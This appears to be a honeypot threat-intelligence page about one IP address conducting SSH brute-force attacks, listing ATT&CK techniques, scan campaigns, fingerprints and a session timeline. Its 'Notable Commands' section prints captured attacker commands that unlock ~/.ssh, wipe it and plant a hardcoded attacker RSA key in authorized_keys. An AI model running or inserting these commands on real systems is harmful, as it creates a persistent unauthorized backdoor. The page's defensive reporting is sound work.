IntrusionLabs IntrusionLabs
← Back to feed

160.22.18.220

TAGGED SUSPICIOUS how we decide →
Threat Confidence
52%
Location
🇧🇩 BD
ASN
AS152886 · Green Network
Cloud Provider
—
Total Events
633
Top 10% by volume
Agent Count
2
First / Last Seen
2026-07-09 22:42 — 2026-07-11 05:10
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
T1595.002
Initial Access
T1078
Defense Evasion
T1070.004
Credential Access
T1110 T1110.001
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
Multi-Agent Scan SCAN Active medium
16 IPs 14159 events
2026-05-08 — ongoing · 16 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
42 IPs 72881 events
2026-05-06 — ongoing · 42 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
48 IPs 127452 events
2026-05-06 — ongoing · 48 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
63 IPs 132670 events
2026-05-06 — ongoing · 63 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
54 IPs 145454 events
2026-05-05 — ongoing · 54 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
16 IPs 13934 events
2026-05-03 — ongoing · 16 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
50 IPs 30784 events
2026-04-21 — ongoing · 50 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
5 IPs 3326 events
2026-04-16 — ongoing · 5 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on Azure. Scanning the same …
Multi-Agent Scan SCAN Active medium
22 IPs 26792 events
2026-04-16 — ongoing · 22 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
75 IPs 172335 events
2026-04-16 — ongoing · 75 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
13 IPs 20939 events
2026-04-16 — ongoing · 13 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
89 IPs 177906 events
2026-04-16 — ongoing · 89 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
45 IPs 80412 events
2026-04-16 — ongoing · 45 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
14 IPs 12458 events
2026-04-16 — ongoing · 14 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
14 IPs 12994 events
2026-04-16 — ongoing · 14 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
15 IPs 11667 events
2026-04-16 — ongoing · 15 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
54 IPs 94798 events
2026-04-16 — ongoing · 54 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
58 IPs 79225 events
2026-04-16 — ongoing · 58 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
32 IPs 42416 events
2026-04-16 — ongoing · 32 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
21 IPs 12419 events
2026-04-16 — ongoing · 21 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
43 IPs 13470 events
2026-04-16 — ongoing · 43 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
51 IPs 107086 events
2026-04-16 — ongoing · 51 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
52 IPs 167561 events
2026-04-16 — ongoing · 52 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
15 IPs 12343 events
2026-04-16 — ongoing · 15 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
43 IPs 76640 events
2026-04-16 — ongoing · 43 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
37 IPs 30480 events
2026-04-06 — ongoing · 37 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
24 IPs 25876 events
2026-04-04 — ongoing · 24 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
44 IPs 54108 events
2026-03-30 — ongoing · 44 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
19 IPs 20574 events
2026-03-11 — ongoing · 19 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
16 IPs 19444 events
2026-03-10 — ongoing · 16 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
14 IPs 2715 events
2026-03-10 — ongoing · 14 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
45 IPs 110978 events
2026-03-10 — ongoing · 45 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
17 IPs 14744 events
2026-03-10 — ongoing · 17 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
51 IPs 87478 events
2026-03-10 — ongoing · 51 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
40 IPs 113522 events
2026-03-09 — ongoing · 40 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
44 IPs 110318 events
2026-03-07 — ongoing · 44 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
45 IPs 142211 events
2026-03-03 — ongoing · 45 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
34 IPs 43611 events
2026-03-02 — ongoing · 34 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on Azure. Scanning the same …
Multi-Agent Scan SCAN Active medium
50 IPs 97914 events
2026-03-01 — ongoing · 50 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
36 IPs 29267 events
2026-03-01 — ongoing · 36 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
59 IPs 125480 events
2026-02-26 — ongoing · 59 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
87 IPs 136359 events
2026-02-26 — ongoing · 87 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (511 IPs, 73 countries) HASSH Active high 🇺🇸 US
511 IPs 421963 events
ssh:bruteforce
2026-02-25 — ongoing · 511 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …
Multi-Agent Scan SCAN Active medium
8 IPs 1434 events
2026-02-24 — ongoing · 8 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Session Forensics
malware_dropper ×20 credential_probe ×51 opportunistic_bruter ×22
Sessions
93 (42 with login)
Avg Depth Score
0.44
Commands Executed
60
Files Downloaded
20
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
f555226df1963d1d3c09daf865abdc9a
SSH Client
SSH-2.0-libssh_0.9.6
Evidence Timeline
Malware Dropper a454b0f96d13 w4m_singapore_01 · 2026-07-11 05:10
3 1 1 100%
Loading events...
Opportunistic Bruter f1676b0afc2b w4m_singapore_01 · 2026-07-11 05:10
1 50%
Loading events...
Credential Probe 6e5ccf62a319 w4m_singapore_01 · 2026-07-11 05:10
1 20%
Loading events...
Opportunistic Bruter 4aec0eef453c w4m_singapore_01 · 2026-07-11 05:08
1 50%
Loading events...
Malware Dropper f23a080e9b2d w4m_singapore_01 · 2026-07-11 05:08
3 1 1 100%
Loading events...
Credential Probe 5428fa3a2c16 w4m_singapore_01 · 2026-07-11 05:08
1 20%
Loading events...
Credential Probe 5fc13dfd64e6 w4m_singapore_01 · 2026-07-11 05:06
1 20%
Loading events...
Opportunistic Bruter b3336207ec9c w4m_singapore_01 · 2026-07-11 05:04
1 50%
Loading events...
Malware Dropper 2578b654f872 w4m_singapore_01 · 2026-07-11 05:04
3 1 1 100%
Loading events...
Credential Probe cd845fbf306f w4m_singapore_01 · 2026-07-11 05:04
1 20%
Loading events...
Credential Probe 427cd742ac0e w4m_singapore_01 · 2026-07-11 05:02
1 20%
Loading events...
Credential Probe 47e1bda30676 w4m_singapore_01 · 2026-07-11 05:00
1 20%
Loading events...
Credential Probe ab19e2ff17f7 w4m_singapore_01 · 2026-07-11 04:58
1 20%
Loading events...
Opportunistic Bruter 0b722421fdc0 w4m_singapore_01 · 2026-07-11 04:56
1 50%
Loading events...
Malware Dropper 9bd883e1d427 w4m_singapore_01 · 2026-07-11 04:56
3 1 1 100%
Loading events...
Credential Probe 4920211f400a w4m_singapore_01 · 2026-07-11 04:56
1 20%
Loading events...
Credential Probe 768c1ab4cb72 w4m_singapore_01 · 2026-07-11 04:54
1 20%
Loading events...
Credential Probe 29ae19db59d0 w4m_singapore_01 · 2026-07-11 04:53
1 20%
Loading events...
Malware Dropper f93738e3cd03 w4m_singapore_01 · 2026-07-11 04:51
3 1 1 100%
Loading events...
Opportunistic Bruter d17d91b28405 w4m_singapore_01 · 2026-07-11 04:51
1 50%
Loading events...
Credential Probe ad4c91ecf692 w4m_singapore_01 · 2026-07-11 04:51
1 20%
Loading events...
Opportunistic Bruter a840b72d363c w4m_singapore_01 · 2026-07-11 04:49
1 50%
Loading events...
Malware Dropper e1398ce52cd5 w4m_singapore_01 · 2026-07-11 04:49
3 1 1 100%
Loading events...
Credential Probe 77d65d659121 w4m_singapore_01 · 2026-07-11 04:49
1 20%
Loading events...
Opportunistic Bruter 5f872e951eb8 w4m_singapore_01 · 2026-07-11 04:47
1 50%
Loading events...
Malware Dropper 320db721959a w4m_singapore_01 · 2026-07-11 04:47
3 1 1 100%
Loading events...
Credential Probe 0d9868ef14b4 w4m_singapore_01 · 2026-07-11 04:47
1 20%
Loading events...
Credential Probe 7c246b111cf1 w4m_singapore_01 · 2026-07-11 04:45
1 20%
Loading events...
Credential Probe ec78fb333530 w4m_singapore_01 · 2026-07-11 04:43
1 20%
Loading events...
Opportunistic Bruter a7d0a1fedaf2 w4m_singapore_01 · 2026-07-11 04:41
1 50%
Loading events...
Malware Dropper 3df78e38b5a9 w4m_singapore_01 · 2026-07-11 04:41
3 1 1 100%
Loading events...
Credential Probe b6ff95f4aa0e w4m_singapore_01 · 2026-07-11 04:41
1 20%
Loading events...
Credential Probe 47fdd16278e1 w4m_singapore_01 · 2026-07-11 04:39
1 20%
Loading events...
Credential Probe addac7e47164 w4m_singapore_01 · 2026-07-11 04:37
1 20%
Loading events...
Malware Dropper 7dab7b6eb4c0 w4m_singapore_01 · 2026-07-11 04:35
3 1 1 100%
Loading events...
Opportunistic Bruter 4e15a890092d w4m_singapore_01 · 2026-07-11 04:35
1 50%
Loading events...
Credential Probe 8eb3ea02d74f w4m_singapore_01 · 2026-07-11 04:35
1 20%
Loading events...
Opportunistic Bruter b2eb637b3868 w4m_singapore_01 · 2026-07-11 04:33
1 50%
Loading events...
Malware Dropper f1026de4a9a5 w4m_singapore_01 · 2026-07-11 04:33
3 1 1 100%
Loading events...
Credential Probe f74a04efe3e6 w4m_singapore_01 · 2026-07-11 04:33
1 20%
Loading events...
Opportunistic Bruter 4a8468ef6b9d w4m_singapore_01 · 2026-07-11 04:31
1 50%
Loading events...
Malware Dropper fed37cb934e8 w4m_singapore_01 · 2026-07-11 04:31
3 1 1 100%
Loading events...
Credential Probe 16fedddba09e w4m_singapore_01 · 2026-07-11 04:31
1 20%
Loading events...
Credential Probe 2a215f12851b w4m_singapore_01 · 2026-07-11 04:29
1 20%
Loading events...
Credential Probe 3fb23d095ae6 w4m_singapore_01 · 2026-07-11 04:27
1 20%
Loading events...
Malware Dropper d34c32f9c98d w4m_singapore_01 · 2026-07-11 04:25
3 1 1 100%
Loading events...
Opportunistic Bruter f3d8bfb85ce5 w4m_singapore_01 · 2026-07-11 04:25
1 50%
Loading events...
Credential Probe 00ad55b6ec2c w4m_singapore_01 · 2026-07-11 04:25
1 20%
Loading events...
Opportunistic Bruter 1522f24f114b w4m_singapore_01 · 2026-07-11 04:23
1 50%
Loading events...
Malware Dropper d1aaea5ea602 w4m_singapore_01 · 2026-07-11 04:23
3 1 1 100%
Loading events...